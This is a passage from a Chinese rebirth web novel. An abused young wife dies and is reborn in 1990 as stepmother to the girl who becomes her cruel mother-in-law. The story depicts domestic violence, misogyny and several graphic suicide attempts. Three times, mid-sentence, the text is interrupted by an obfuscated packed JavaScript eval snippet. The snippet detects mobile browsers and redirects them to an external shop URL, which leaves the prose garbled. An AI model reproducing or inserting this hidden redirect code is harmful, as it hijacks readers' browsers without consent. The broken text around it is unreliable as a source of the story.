《重生后我成了恶婆婆的后妈》 1. 重生 林薇在21岁那年被哥哥设局嫁给了陈斌,哥哥得到了10万块彩礼。 婚后,林薇和公婆住在一起,不光要承担所有家务,还要承受婆婆叶梅的冷言冷语。 陈家算是“县城婆罗门”,陈斌被家里宠的不学无术,成日在外鬼混,吃喝嫖赌样样精通,还和一个搞擦边直播的女主播整出来个私生子。 更可怕的是,陈斌家暴。 每当陈斌喝醉了酒回到家,总是会对林薇拳脚相向。 这一切,婆婆叶梅睁一只眼闭一只眼。 结婚第二年,陈斌突然消失了。 没多久债主找上门——陈斌借了几百万,带着小三和私生子卷款跑路,到国外去逍遥了。而林薇作为他法律意义上的妻子,必须要承担他留下的债务。 叶梅怨天怨地,怨林薇没管好老公,怨那个小三蛊惑了她儿子。 债主每天上门逼林薇还钱,她为了躲债主逃回娘家,可哥哥已经拿着嫁她的彩礼娶了老婆,哥嫂根本容不下她。 林薇决定一死了之。 她这一生懦弱窝囊。 自戕,是她能做出最大的反抗。 她死了,可以让陈家的房子变成凶宅,让陈家永远背着人命债,让他们脊梁骨被外人戳破,让他们永世不得翻身! 林薇回到陈家,站上天台。 就在跳下去的前一刻,她的身后响起一声惊恐的叫喊: “哎,你!——” 林薇回头,是她的婆婆叶梅。 叶梅见她站在天台边缘,吓得吱哇哇乱叫,眼珠子都要掉下来。 看叶梅向她冲过来,林薇凄然冷笑: 既然你这么恨我,那我要你亲眼看着我死。 转头,纵身跳下天台。 落地前的几秒钟内,林薇脑海中闪过这一生的画面: 年幼时被父母忽略、被哥哥嫌弃…… 长大后嫁给陈斌,受尽屈辱…… 短暂的24年,她活得窝窝囊囊浑浑噩噩,任娘家吸血,被婆家欺辱。 若有来生,她一定只为自己而活…… …… “林薇,醒醒!” 有人在拍她的脸:“醒醒!” 林薇缓缓睁开眼,发觉自己躺在冰凉的地板上,一个中年女人拿着蒲扇,一边扇风一边掐她人中,几个人在不远不近处围观。 “醒了!” “救回来了!” 围观的人发出惊呼。 “再散开点,让空气进来!” 林薇坐起身,给她扇风的女人长吁一口气: “哎哟——总算是醒了! “妹子,烧煤炉子咋能关死窗户呢?你这是煤气中毒,差点人就没了!多亏叶梅那丫头机灵,跑出去喊人—— “叶梅,快给你妈倒杯水!” 叶梅?这不是她那个恶婆婆的名字吗…… 她刚不是死了吗?可这房间,剥落的墙皮,褪色的双喜字窗花,墙上的港风挂历,还有这些陌生又似乎认识的面孔—— 这是哪?! 墙上的日历掀起的一页上写着:1990年1月19日。 林薇脑中突然响起清晰冰冷的机械音: 【宿主林薇,重生绑定成功。】 【上一世你坠楼时,婆婆叶梅为了拉你,意外一同跌落。命运线纠错,你已回到1990年,成为14岁叶梅的继母。】 【主线任务:将叶梅抚养至18岁。任务失败,将永久滞留此世界。】 这个声音是…系统? 她重生了?穿越到了九十年代,成了叶梅的后妈?! 林薇依稀记得叶梅说过,她年少丧母,后来她爹又给他们娶了个后妈,但过门没几个月,那个后妈就死于煤气中毒。当时出事的时候只有叶梅一个人在家,她爹因此还骂她没把人看好。 叶梅之所以跟她说这些,是因为她那个短命的后妈也叫林薇—— “你这名字就晦气!”上一世,叶梅曾嫌弃地对她说。 林薇对这样嫌恶的语气已经习惯,叶梅讨厌她的原因有很多:她是出身农村,她眼拙嘴笨,她干活不伶俐,她没有生下儿子,她的名字…… 林薇恨陈斌,也恨叶梅,恨她生出了陈斌这样的畜生,恨她对陈斌的纵容,更恨她一直以来对自己没来由的厌恶…… 太荒谬了,她竟然重生成为了叶梅的后妈,还直接穿越到了原主煤气中毒这一天?! 这时,一个脸色蜡黄的小女孩从围观的大人身后缓缓蹭出来,看样子是吓傻了。 “妈…”小女孩怯生生叫了一句。 【系统提示:任务目标出现,任务绑定。】 林薇瞳孔地震:这就是她婆婆叶梅小时候!? 看林薇眼似鱼目一样瞪着,双唇微张却一句话都不说,周围人开始低声碎语,闲言飘进她耳朵: “别是傻了吧?听说人煤气中毒之后,就算救过来也有可能变傻……” “多俊的姑娘,这么傻掉可惜了” “长得俊有啥用,命苦啊。年纪轻轻给仨孩子当后娘!” “可不是嘛!听说是她娘家哥是为了抵赌债把她嫁给老叶的。” “嗐,老叶那个老混球,讨了媳妇还整天在外面鬼混赌钱。” “是啊,更别提她那个婆婆,也不好对付……” 有人压低声音:“听说过门那天,有人看见林薇是被反手绑着送进洞房里的……” “你们说,这林薇该不会是不想活了,故意把自己闷在烧煤的房间……” 这些闲言碎语听得林薇瞳孔地震——敢情这个原主比她上一世还惨,不仅被迫嫁了个老赌徒,还要给三个孩子当后妈? “妈…喝水…”十四岁的叶梅怯生生的举着一个冒着热气的搪瓷缸,端到林薇眼前。 林薇恍神,上一世被婆婆欺辱的记忆与眼前的女孩重合,她下意识地抬手一挡—— 哐当,搪瓷杯子打翻在地上。 围观的邻居都愣住了,这个后妈竟然当众给继女甩脸色? “哟,这林薇看着文文静静的,没想到竟是个狠心人” “后妈哪有不心狠的,看叶梅吓成那个样子,估计这后妈背地里没少欺负三个孩子……” 叶梅连忙弯腰把杯子捡起来:“是我没拿稳!不怪她!” 林薇内心冷笑,只觉命运弄人。上一世她不知道被叶梅打翻过多少次杯子,清晰记得玻璃渣子扎进手指肉里的感觉,现在竟然轮到叶梅对她低声下气了? 可林薇对当妈没兴趣,更何况是叶梅的后妈。她得想办法从这个家里出去。 “哎呦喂!——我老太婆的命好苦哇!!”一声破锣嗓的哭喊从门外传来。 下一秒,一个彪悍的老太太夺门而入,锤头跺脚,哭天喊地: “这个女人可是我儿花了两千块娶回来的啊!就这么没了!上哪里说理去啊!” 众人忙过去拉她:“别哭啦,您儿媳妇没事!救过来啦!” “没死?”老太太闻言愣了一下。 “活着呢!”邻居们忍住笑。 看来这就是叶梅奶奶了。 老太太戏精上身,凑近看了一眼还坐在地上的林薇,眼珠子一转,拍着大腿又干嚎起来。 “唉哟我苦命的儿!头一个媳妇短命,留下三个拖油瓶给他!花两千块又讨了一个老婆,偏偏中看不中用!肩不能扛手不能提,老婆子我没享她一天福!她倒好,烧个煤都能把自己送走!败家丧门的玩意儿! 林薇感到一阵恶寒,原来叶梅的恶婆婆基因是家族遗传,原主差点死了,这老太太却只关心彩礼,心疼儿子。 “起来!”老太婆过来拉拽林薇,“你可不兴死!你要死了,我非得让你娘家哥把那两千块彩礼还回来!” 听到这话,林薇突然想到上一世,她之所以会嫁给陈斌,也是因为哥哥需要10万彩礼娶媳妇。 两千块、十万块,没什么不同。女人只不过是从娘家流转到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347833|199561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆家,给男人“传宗接代”的工具罢了! 林薇受够了——这哪是重生,这是把她扔到悲惨命运的循环里去了! 相似的人生剧本,不知在一代代女人身上重复了多少遍,她不要再经历一遍。 全身的血液灼烧起来,一股未知的力量在林薇体内乱窜,即将像岩浆一样从胸口喷出。 “闭嘴!!!” 林薇大喊一声,从地上爬起来,指着老太婆: “我白天伺候三个孩子,晚上跟你儿子睡觉,没人给我一分钱,不过是给了我口饭吃没饿死。地主家的包身工都没我惨,你们真把我当奴隶了?那两千块谁揣兜里了你找谁去!别跟我这儿耍横!” 林薇体内灼热的力量随着歇斯底里的声音爆发出来。 围观的众人惊得目瞪口呆。 没等他们反应过来,林薇夺门而出,跑上楼梯。 重开一局竟然还拿到这么差的剧本,林薇才不干。 反正已经死过一次了,她不介意再死一次! 林薇似乎继承了原主的部分记忆,对周围的地形了如指掌。 这里是平乡县的城南棉纺厂家属院,一共三栋筒子楼,每栋都是四层。 她直奔顶楼而去。 一回生二回熟,这次跳下去前她还特意留意了身后,确保没人从背后拽住她——毕竟她可不想再重生一次,莫名其妙成为谁的后妈。 确保身后空荡荡的之后,林薇从天台一跃而下。 撕—— 撕——拉—— 她被什么东西挂了两下,在空中翻了几个身才落地。 林薇仰面朝天,睁眼,家属楼的阳台上横七竖八伸出的晾衣杆,把天空分割成了几个小块。 四楼本来就不高,在空中短短十几秒,她被晾衣杆挂住两次。 所以,她落地时全须全尾,只是衣服上多了两个被晾衣杆刮的大口子。 【警告!系统检测到宿主违规操作】 【系统提示:任务目标“将叶梅抚养至18岁”完成前,宿主无法死亡。任务失败将永远滞留此世界。】 【宿主完成成就“当面怼人”。恭喜解锁天赋:不怕死的勇气,不要脸的胆量】 什么鬼,死都死不了? 林薇胸口生起一股火,她不信这个邪! 邻居们来不及追赶,只得在楼上眼睁睁看着林薇落地,吓得呆若木鸡。 “救人啊!”有人先反应过来。 众人如梦方醒,正手忙脚乱往楼下跑,只见林薇一个鲤鱼打挺从地上起来,噔噔跑回来,冲进厨房抄起菜刀,对着老太婆和邻居喊道: “我的命是我的,我想活就活,想死就死!” 说罢,她扬手举起菜刀,狠狠对着自己的颈部大动脉砍下去! 上一世窝窝囊囊,这一世总要死个痛快! 体内那股带着力量的灼热感终于喷薄而出。 鲜血四溅,众人惊呼。 林薇心里升起报复的快感——她死了,叶家就失去了一个花两千块买来的保姆和子宫。 和上一世一样。自戕,是她和原主能做出的最大反抗了。 但预料中的疼痛没有袭来。 一声痛苦的呜咽。 林薇睁开眼,发现是叶梅。 叶梅在刀落的那一刻飞扑过来,用瘦弱的胳膊环住了林薇的脖子,菜刀砍进了她的小臂。 【警告!警告!任务目标受伤,任务完成度-10%】 【系统检测到宿主再次违规操作】 【系统重申:任务目标“将叶梅抚养至18岁”完成前,宿主无法死亡。任务失败将永远滞留此世界。】 鲜血从叶梅小臂上潺潺流出。 围观群众里才有人“嗷”地叫了一声,大家如梦方醒,七手八脚冲上来,有人按住林薇,有人夺下菜刀,有人抱走叶梅送去了卫生所。 林薇摸着自己毫发未伤的脖子: 见鬼,难道真死不了了? 2. 准备大干一场 重生三天了,林薇把能想到的死法都试了一遍。 重生三天了,林薇尝试了各种死法。 她投过河、上过吊、跳过井,最狠的一次,吞过老鼠药。 但无一例外,都没死成—— 跳河三秒钟就被一个路人救了,上吊的麻绳断了,投的井是口浅枯井,连老鼠药都是过期的。 每一次死亡失败,脑子里那个冰冷的系统都在提示她违规操作。 【警告!宿主违规操作。任务未完成,无法脱离本世界。】 林薇像是卡住了这个世界的BUG,她甚至怀疑自己已经死了,这是地狱的通关游戏,只有她找到正确的死法,才能脱离地狱。 当然,虽然每一次她的命是保住了,但身体感官是一点都没迟钝—— 跳河那次她回来就感冒了,烧了一夜。 投井那次她崴了脚脖子,在井底下又饿又疼,最后受不了了,自己爬上来的。 吃老鼠药那次,她的肚子疼得一夜跑了三次厕所。 重生第四天傍晚,林薇终于从老鼠药的后劲中缓过来。 她躺在原主的床上,看着天花板上剥落的墙皮,突然笑出了声。 她虽然死不了,可也不能这样折腾自己。 既然连阎王爷都不收,那她还怕活着吗? 上一世,她活得循规蹈矩,小心翼翼,自小听话懂事,努力讨好哥哥和父母,婚后讨好婆婆和丈夫。 落得的结果是被娘家吸血,婆家欺负,最后被逼自尽。 对上一世的林薇来说,活着没趣。 既然重开一局,所幸大胆换个活法! 可是,换个什么活法? 林薇翻身下床,赤着脚踩在冰凉的水泥地上,环顾自己安身的这个小房间——这几天她白天忙着寻死觅活,晚上却无处可去,只能回原主之前住的卧室睡觉。 棉纺厂的职工房每家都是一样的格局,三十多平的房间,原主所在的主卧不到十平米,白色石灰墙刷了绿色的墙裙。一张双人床,床头是块刷了暗红色油漆的木板;一个三开门大衣柜,中间门上镶着一块带菱形磨花的镜子,另外两扇门的铰链坏了,歪歪扭扭地合着;靠窗的那张书桌上的浅黄色漆面已经掉了不少。 屋内陈设和挂历上鲜红的日期都在提醒她:这是1990年。 林薇深吸了一口气,突然福至心灵:遍地黄金的九十年代,正是经济腾飞的前期,遍地都是赚钱的机会! 普通人只要抓住时代机遇,乘上时代的东风,就可以扶摇直上,成为有钱人! 她激动地望向窗外,视野竟然异常开阔:附近大多是低矮的平房,远处耸立着一个大烟囱,吐着烟霾的与苍灰色的天空融为一体,大片的枯黄和灰白色的植被。 北方的冬季万物萧条,林薇的眼神却变得锐利明亮—— 改革开放的春风才刚刚从南方吹向北,山河省平乡县这座小城,尚处在万物生发的前夕。 她可以趁机白手起家,先攒点钱做个小买卖,随着经济上行把小买卖变成大生意,再用做生意的钱去省城买几套房子,等着几年后拆迁,她的财富就可以连升几个量级! 等房价高涨,她卖掉几套,把钱换成黄金和比特币…… 只要操作得当,何愁挣不下千万身家?! 林薇简直要笑出声了。 这一世,她不光要活,还要活出趣味,活得嚣张恣意,活成人上人! 千万身家始于足下,林薇打开门,决定大干一场。 “咚…咚…”敲门声打断了林薇脑海中正徐徐展开的宏图伟业。 “饭做好了…”门外的声音透着小心翼翼,“妈…” 林薇皱眉,差点忘了,她还多了个便宜女儿。 林薇拉开门,一个身高才到她胸口的小女孩,身板干瘦,小脸蜡黄,身上套着件肥大的薄袄,裤腿挽得高低不平,露出的脚踝冻得发紫。 更寒碜的是,女孩的右胳膊还打着绷带,白色绷带上沾着些油污。 哪怕知道她是叶梅,林薇还是忍不住同情了一秒。 但下一秒,想到三十年后这个小女孩会变成一个面目可憎的恶婆婆,林薇立即收起了泛滥的同情心。 “我煮了面,你来吃点吧…”叶梅双手绞着衣角,似乎不敢看她。 哟,你还会做饭。 林薇觉得好讽刺,上一世从来都是她把饭做好了端给叶梅。 “你这几天都没吃饭,这么下去身体会垮的…” 呵,你还会关心我的身体? 林薇有一次生病不起,白天在床上多躺了会儿,叶梅进来看了眼,话里话外都在讥讽她娇气,她不敢辩驳,只得强撑着高烧的身体从床上爬起来给公婆做饭。 想想上一世的遭遇,再看看眼前低三下四的小女孩,林薇觉得苍天有眼: 系统让她成了叶梅后妈,那她就要把之前从叶梅那里受的苦原原本本都吐回去! 林薇扯动嘴角笑了笑:这重生越来越有意思了。 “咕噜” 一阵肠胃蠕动的巨大声响,叶梅抬头看看林薇。 这动静来自林薇的肚子——这几天她只顾寻死觅活,基本滴米未沾,此时确实饥肠辘辘。 为了维持高冷后妈的人设,林薇面不改色,只是清了清嗓子: “知道了。” 既然准备好好活,那就先吃顿饱饭。林薇没再给叶梅多余的眼神,直接走进了客厅。 客厅很小,同样的水泥地、绿墙裙,放着个掉了皮的人造皮革的沙发,一张折叠圆餐桌,几把样式各异的椅子,墙角还挤了一张小木板床。 “哥,建国,出来吃饭了。”喊完了林薇,叶梅又去次卧喊人。 林薇记得陈斌有两个亲舅。大舅叶建军早年是工人,下岗后开过网吧KTV,年轻时也赚到过钱,但不知为什么后来全亏了。林薇见过一次大舅,还是因为他来陈家跟叶梅借钱。叶建军走后,陈斌爸爸跟叶梅发了很大的火。 小舅叫叶建国,经营一间水果摊,混得不好不坏。叶梅曾带林薇参加过小舅儿子的升学宴,席上叶建国喝多了,抱着叶梅哭,说小时候没了妈,多亏了这个姐姐的照顾才能长大。感觉叶建军对叶梅的感情更亲近些。 至于陈斌的姥爷、叶梅的亲爹,林薇所知甚少,只隐约听陈斌提起过他姥爷叫叶强,曾因赌博进过局子。 重生之后这几天,叶强还没在这个家里出现过。 林薇暂时把原主那个尚未见面的老公抛在脑后,径直走到餐桌边。折叠圆桌周围有四把椅子,一把带靠背的折叠椅,两个木头高板凳,还有一个马扎。 林薇挑了那把看起来最舒服的折叠椅坐下。 桌上摆着四碗冒着腾腾热气的面条,林薇拿筷子才发现这四碗面竟然不一样。 三碗里都浇了肉末,还盖了一个荷包蛋,只有一碗清汤寡水,几片蔫巴的青菜叶漂着。 叶建军和叶建国从次卧出来,一人占了一个木板凳,拉到屁股下坐着。 剩下的那个马扎显然不适合这个餐桌,叶梅坐上去后,桌面已经超过了她的胸口高度,为了够到餐桌,她只能架起肩膀。 “妈,你吃这个……” 叶梅把一碗带着肉浇头和鸡蛋的面推到了林薇面前。 “怎么?”林薇讥讽地扯起嘴角,“这家里是有皇位要继承,吃饭还分三六九等?” “我…不爱吃肉,你们吃……”叶梅盯着自己碗里的几根菜叶子。 “不爱吃?”林薇突然很不爽。她想到上一世,叶梅可是要天天吃肉,恨不得吃成了三高。 叶梅不安地扭了一下身子:“奶奶说,女孩子要少吃点肉——” “女孩子吃肉会长成肥婆,没人要!”十岁的叶建国理直气壮地拉过一碗带肉末的面。 林薇一愣,蒙尘的记忆突然被搅动起来。 上一世,她在乡下长大,父母常年在外打工,留她和哥哥跟奶奶过活。 那时候家里并不宽裕,餐桌上十天半个月才能出现一顿荤腥,偶尔做饭时加个鸡蛋都算是改善伙食了。 但偶尔加的那个鸡蛋,一定是哥哥的。 奶奶总说,哥哥是以后家里的顶梁柱,好东西都要先紧着哥哥。奶奶还说,“女子不能贪吃,传出去被人笑话。吃胖了更是嫁不出去!” 这可不是吓唬人,他们村里有个外号叫“胖妞”的女孩,从小胖到大,力大如牛,腰像男人一样粗,快三十了还没找到婆家。 林薇听话,从来都不会跟哥哥抢吃的。 很快林薇有了弟弟,家里养了一只老母鸡,一天下一个蛋。每天早上,奶奶把鸡蛋拾起来,收到竹篾篮里攒着。攒两个就在晚饭时煮了——一个给哥哥,一个给弟弟。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347834|199561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>奶奶的理由很充分:“哥哥正在长身体,弟弟还小,女孩子不能多吃。” 盼到过节,爸妈回来了,桌上有了大鱼大肉。小孩子哪有不馋的?三个孩子揍在桌边抢肉吃,鸡腿就两个,弟弟抢不过两个大的,急得哭。 大人们的目光若有似无地瞟了过来,不用他们说什么,林薇就会把鸡腿让给弟弟。 除了鸡腿,排骨和鱼肉也是有限的,妈妈和奶奶会先紧着孩子吃,毕竟半大小子吃穷老子,这样的小子他们家有两个。 那些有限的鱼肉,林薇的筷子多伸几次,大人的眼光又瞟过来了。 林薇知道是自己不够懂事了。她从不觉得大人偏心,小孩子哪里懂这些。她只觉得不喜欢自己是因为自己不够乖,不够懂事。 后来为了讨大人欢心,面对餐桌上的好东西,林薇索性一筷子也不动,她给自己找的理由是不爱吃肉,太腻。 她不喜欢吃的大鱼大肉,大人心安理得让哥哥弟弟敞开了吃。 再后来,家里条件好了,鸡蛋和肉不再是稀罕物,可林薇再没馋过,她真的形成了不爱吃肉蛋奶的习惯。大概是常年吃的清淡克制,成年后的她有一副让男人看了眼馋的身段,腰身一手能掐住,胳膊腿细软。 她那个“顶梁柱”哥哥最知道妹妹哪里值钱,把她打扮一番介绍给陈斌,没多久林薇发现自己怀了孕,哥哥去陈家讨说法。陈斌把她娶进门,哥哥用嫁她的彩礼迎娶了嫂子。 陈斌喝酒,喝醉了就打人。她痛,想躲也躲不掉。 后来她发现,陈斌的体力也是有限的。她索性不逃不躲,任陈斌打完骂完,气撒了也就能放过她了。 林薇还发现,挨揍的时候想点别的,会没那么痛。 于是陈斌的拳头举起来,林薇紧闭双眼,不去想那拳头什么时候落在自己身上,而是想自己小时候捡过一只小狸花猫,奶声奶气地叫很是可爱,她管它叫小花,小花爱吃玉米糊糊,于是林薇每天放学就弄玉米糊糊喂它。小花长大了一点开始淘气——陈斌的拳头终于落下来——她想到那只小猫还没完全长大就误食了老鼠药死掉了。 陈斌掐着她的脖子撞到墙上——林薇再想自己小时候除了小花应该还养过别的,家里那只芦花鸡一直是她喂的,她每天放学都要去扫鸡圈,芦花鸡不光长得好看,一天还能下一个蛋——陈斌的巴掌扇过来——林薇想自己好像从没尝过它下的鸡蛋,奶奶为什么不攒到三个蛋再煮呢,这样她也能分到一个了。 陈斌把林薇从墙角拎起来——林薇想起来了,奶奶说女孩子不能吃太多——陈斌抬脚踹向林薇的小腹——林薇想到了村里的胖妞,胖妞的腰那么壮,胳膊那么粗。林薇想如果自己当初贪吃一点,吃成胖妞一样的,陈斌是不是就不敢这么打她了。不对,如果吃成胖妞她就不会嫁给陈斌了,胖妞是嫁不出去的——陈斌终于撒了气——林薇躺在地上,看到自己小腹下面的衣服洇出了血,好痛啊,妈,我那么听话那么乖怎么还是痛,奶奶我嫁人了但是我好痛啊…… “噗——” 一声嗤笑让林薇回神。是老大叶建军,他听到弟弟口中“肥婆”这个字眼,轻蔑地笑出声。 叶梅显然已经习惯了哥哥弟弟日常的冷落和排挤,她不说话也不生气,只是默默捧起那碗只有菜叶子的清汤面,垂着眼喝了口汤。 林薇胸口一紧,又来了——体内那股岩浆一样灼热的力量再次出现,让她浑身的血都烧起来。 林薇一拍桌,冲着一大一小两个男孩:“你们怎么不怕自己吃成肥佬?!” 老大叶建军愣住了,他一直没把叶强另娶的这个女人放在眼里,毕竟他是叶家长子,他在这个家里的地位仅次于他爹,这女人应该主动来巴结自己。但林薇过门后沉默寡言不声不响,一直和他井水不犯河水地过着。 今天这女人竟然跟他大小声,他必须得教教她规矩。 “我们是带把的,”叶建军举着筷子在空中指点,“男人是顶梁柱,当然得多吃肉!女人懂个屁!” 十六岁,毛都没长齐,说话的神情却像他快四十岁的爹。 林薇胸口越来越闷,那股灼热的力量又堵在胸口。 “啪!” 林薇拍案而起,一把夺过叶建军面前那碗还没吃两口的面,把鸡蛋和浇头都倒进叶梅的碗里。 “你,给我吃!”林薇命令叶梅,“吃不完不准走!” 3. 厌女是种病 面汤溅到叶建军脸上。 叶建军愣了两秒,往脸上抹了一把,猛地跳起来指着林薇骂道:“臭娘们!你敢抢老子的鸡蛋?你疯了?!” 林薇反手拧住叶建军指向她的食指: “这鸡蛋你下的?这肉你做的?” “你!你!我……”“我…老子可是叶家长子!你个外姓的赔钱货——” 林薇冷笑:“管你什么长子孙子龟儿子,还不是要叫我妈?” ”你是后妈!”叶建军嘴上发着狠,好像后妈是个骂人的词儿。“你个贱女人!赔钱货!” “啪!” 一记响亮的耳光。 林薇出手极快,快到叶建军根本没看清残影。 “你……”叶建军捂着脸,难以置信地瞪大了眼,“你个女人敢打我?” 女人就不敢了?林薇算是弄明白了,这一家人从上到下都是重度厌女症患者。 厌女是种病,得治。 叶建军叫嚷着要还手,但林薇唰一下抓住冲她而来的拳头,顺势一个猛拽,一把按住叶建军的后脑勺,将他的脸狠狠压在满是油污的桌面上。 “你嘴巴不干不净,我就替你那个死鬼爹好好教教你做人。” 叶建军拼命挣扎,却发现这个平日里看着柔弱的后妈,此刻的手劲大得像把铁钳,死死卡住他的脖颈,让他动弹不得。 “放开我!我要告诉奶奶!我要让我爸休了你!”叶建军脸被挤压变形,嘴里还在叫嚣。 林薇冷笑:“打不过就告状,你这个孙子还真是有出息。“ 叶建军已经十六岁了,个头看上去比她还高一些,体格竟然这么弱,揍他简直胜之不武。 “去啊,”林薇松手,像丢垃圾一样把他推开,“现在就去,让他赶紧滚回来跟我离婚。离不掉他就是孙子!” 叶建军捂着脸,踉踉跄跄地跑了,连狠话都没敢再放一句。 剩下两个小的坐在餐桌前,呆傻一样地看着林薇,尤其是叶梅,她不明白碗里的那个鸡蛋是怎么回事。 林薇坐回椅子上,端起自己那碗面大口地吃了起来。 岩浆似的灼热消失了,一种前所未有的酣畅,像凉风拂过全身。 林薇后知后觉意识到,自己刚刚发火了。 她上一世是出了名的性子好,村里人都夸林家二女儿拥有顶好的“女孩儿脾性”:乖顺,听话,讲话温吞,从小到大没跟人发火一次火红过一回脸。 奶奶很满意林薇这一点,她说女孩就要有女孩儿脾性,女孩脾性就是乖顺温柔的,这种女孩很好嫁,要是谁家姑娘性子火爆被传,那媒婆说亲都要犹豫一下。 可如今林薇才发现,原来发火的感觉这么爽。她出了一身汗,把上辈子憋的闷气都撒出来了一点。 发完火更饿了,林薇大口吃下碗里半凉的面条,品出了痛快的滋味。 叶建国哇一嗓子哭起来,像是才反应过来发生了什么。 “哭什么!再哭你也别吃了!”作为恶毒后妈,林薇凶起来再无道德负担。她把叶建军的那碗面也拨到另外两个小的碗里。 “不要浪费!你们俩,吃完!” 叶建国没了声,把头埋进碗里狼吞虎咽,怕慢的话也被掀了碗。 叶梅却没敢动碗里的鸡蛋,只是小口小口地抿着沾了肉汤的面条,时不时偷瞄一眼林薇,眼神里交织着忐忑和讨好。 林薇的心口痛了一下。 这一幕太熟悉了。 熟悉到让她感到恶心,感到酸楚,感到一种跨越时空的窒息。 透过叶梅那张蜡黄的小脸,林薇仿佛看到了二十年前的自己。 一个生在厌女家庭,夹在哥哥弟弟中间的小女孩,谨小慎微地活着,连吃饭都要看大人脸色。 林薇刚教训叶建军,表面是看不惯这小子的嚣张,但内心深处,又何尝不是在为小时候的自己出气? 这口气她憋了很久。 小时候,她总觉得家里有一道看不见的线,把她和哥哥弟弟隔在两边。 她拼命让自己懂事、勤快,抢着扫地、喂鸡,渴望换来大人一句夸赞。可哥哥弟弟什么都不用做,他们只要往那一站,就能理所当然地收获父母满溢出来的爱。 哥哥弟弟闯了祸,大人会笑着说一句“男孩啊,调皮。” 林薇不小心犯了错,大人会说,“小闺女家,就是不中用。” 哥哥弟弟很快学会结成天然的同盟,总是用“你个丫头片子”这种话,把她排挤在外。 林薇困惑,无措,却说不清哪里不对。 七岁那年,她在学校里学到了一个词,叫“重男轻女”。 那一刻,她心里积攒的所有委屈好像突然有了解释。她跑去问母亲:"妈,你是不是不喜欢我?因为我是女孩?" 母亲正抱着弟弟喂饭,头也不抬:"瞎说什么,手心手背都是肉,哪有当娘的不疼自己孩子的。" 林薇愣住了,母亲说得如此理直气壮,好像她问出这话都很不孝。从此以后,再听到“重男轻女”这个词,林薇就会在心里默默想——反正我家不重男轻女。 可那种被嫌弃、被忽视的感觉仍然在,它们像一根细小的刺卡在喉咙里,咽不下去,也吐不出来。 每当她想要愤怒,脑海里就会响起母亲的声音——"手心手背都是肉"。 她的愤怒失去了落脚点。 眼前的叶梅,让林薇清楚看到,那些渗透在日常生活里的偏见与暴力,看到了一个小女孩切实受到的伤害。 不是她矫情,不是她敏感,更不是她的错觉。 这个社会、这个家庭,甚至连母亲自己,都浸泡在那种根深蒂固的厌女潜意识里。她们被驯化,然后再去驯化下一代。 只是小时候的她,无从分辨。 林薇深吸一口气,将胸腔里翻涌的情绪压下去。 “以后这个家里,立个新规矩。” 林薇清了清嗓子:“餐桌上别搞什么特殊。无论什么好东西,要么大家一起吃,要么谁都别吃。” 反正她现在是后妈,餐桌规矩她说了算。重活一次,她把那些让她不舒服的刺拔出来。 林薇的目光扫过叶建国: “吃饭不分男女,都是人,都要靠吃饭长身体、长力气。没有什么‘女的不能吃’的道理。如果女的不能吃,那男的也别吃,直接饿死算了,省得浪费粮食。” 叶建国微微张开嘴,这话对十岁的他来说,实在是冲击力太大。林薇没再多说,让他自己慢慢消化,这小崽子年纪小,她不介意顺带教育一下,兴许还能有救。 叶梅则抬头看向林薇,眼神里充满了不可思议。 【检测到任务目标“叶梅”价值观重塑中】 【任务完成进度:-5%?-4.5%】 【检测到任务目标对宿主好感度+10】 【系统奖励体力技能“以力服人”】 【技能说明:专治不服,宿主在冲突中可凭力量征服对方。注意:使用技能需消耗大量体力值】 林薇眼神一亮。 进度条终于动了! 价值观重塑?看来系统任务中所谓的“抚养叶梅”不仅指吃饱穿暖的物理层面,也包含精神层面。 没想到提升叶梅的好感度可以获得系统奖励,但林薇可不准备因此就讨好叶梅。 她眼下的目标是好好赚钱,终极目标是财富自由。林薇只希望能尽快完成系统任务,摆脱这个从天而降的继女,好去广阔天地享受肆意人生。 几句话就能影响价值观,进而推动进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347835|199561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度条,说明系统很灵敏。即便进度条还是负的,但很乐观。 她心满意足地把面汤一饮而尽,“啪”一声放下筷子,往椅背上一靠,舒舒服服地打了个饱嗝。 叶梅几乎是条件反射般地站了起来:“妈,我来收拾。” …… 林薇觉得这一幕好滑稽。 她上一世吃饭慢,往往别人都吃完了,自己才吃了个三分饱。但嫁到陈家,只要公婆吃完了饭,她就得刷锅洗碗,慢一会儿就要遭叶梅白眼。遭的白眼多了,林薇就学会了,不管自己吃没吃完,只要婆婆一放下筷子,林薇就起身收拾餐桌,几乎已经成了条件反射。 正如眼前应声而起的叶梅。 ‘’去吧,洗干净点。 这后妈当得越来越有意思了,简直大快人心。 林薇抱着双臂靠在厨房门口,像个恶毒后妈一样监工。她看着叶梅用一只手把碗一个个摞起来,动作笨拙而缓慢。 “哗啦——” 